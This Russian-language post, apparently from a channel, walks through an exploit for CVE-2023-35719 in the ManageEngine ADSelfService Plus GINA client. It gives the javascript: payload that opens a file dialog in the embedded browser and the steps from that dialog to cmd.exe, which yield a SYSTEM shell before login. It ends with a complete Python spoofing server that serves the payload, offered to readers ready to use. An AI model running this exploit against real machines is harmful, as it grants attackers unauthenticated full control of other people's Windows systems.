Отображаемый HTML, отображаемому во встроенном окне браузера GINA, имеет какой-то черный список тегов или удаляет потенциально рисковый пользовательский ввод. Но была обнаружена годная статья "Give me a browser, I'll give you a Shell" от Rend, в которой говорится:

Если инструменты разработчика отключены по какой-либо причине, вы можете использовать один интересный протокол: javascript. Если браузер основан на Chromium, вы можете ввести это в строке URL и получить желаемый результат:

javascript:document.write('<input/type=file>')

Давайте обновим наш HTML-код:

<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>

Поскольку встроенный браузер - это Microsoft Edge (браузер по умолчанию в Windows 10), основанный на Chromium, мы получаем ссылку, на которую можно нажать (ПРИМЕЧАНИЕ: автор попробовал это в Windows 7 с Internet Explorer 11, и это тоже сработало!):

Мы нажимаем на нее и, НАКОНЕЦ, у нас появляется наше диалоговое окно файла!

Теперь эксплуатация тривиальна: просто перейдите в C:\Windows\System32 и найдите cmd.exe:

Щелкните правой кнопкой мыши, нажмите "Открыть" и вот GINA дает нам оболочку SYSTEM перед аутентификацией!

К слову, более старые версии ADSelfService Plus НЕ блокируют поиск в Bing и не блокируют диалоговые окна HTML-файлов, предоставляя нам еще два способа получить нашу оболочку. Это подтверждено работой хотя бы на версии v4.2.9.

Выводы авторов:

• Черные списки не работают.
• Очень сложно обезопасить встроенные браузеры в операционной системе Windows.
• ManageEngine (разработчики ADSelfService Plus) - это куча говна, которая постоянно взламывается как минимум с 2014 года.
• За годы несколько других исследователей также обнаружили критические уязвимости в продуктах ManageEngine.

Не сомневаюсь, что ты в силах написать свой код для эксплуатации, но если вдруг сегодня не день Бэкхема, держи код на python ;)

#!/usr/bin/env python3
#
# Python HTTP server for exploiting CVE-2023-35719 / ZDI-23-891
# Auth Bypass to SYSTEM shell in ManageEngine ADSelfService Plus Windows GINA Client
# https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/adselfpwnplus/adselfpwnplus.md
#
# By:
#
# Pedro Ribeiro (pedrib@gmail.com|@pedrib1337)
# João Bigotte
# Ashley King
#
# Agile Information Security (https://agileinfosec.co.uk)

from http.server import BaseHTTPRequestHandler, HTTPServer

# HTTPRequestHandler class
class CustomRequestHandler(BaseHTTPRequestHandler):

  # GET
  def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type','text/html')
        self.end_headers()

        # Send message back to client
        message = "<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>"

        # Write content as utf-8 data
        self.wfile.write(bytes(message, "utf8"))
        print("done")
        return

def run():
  print('starting server...')

  # enter your listening address and port here for the ADSelfService Plus server spoof
  # do not forget to add a dns entry for your domain name to point to this IP
  server_address = ('13.33.37.1', 8888)
  httpd = HTTPServer(server_address, CustomRequestHandler)
  print('running server...')
  httpd.serve_forever()


run()

Подписывайся на AD_POHEQUE и ставь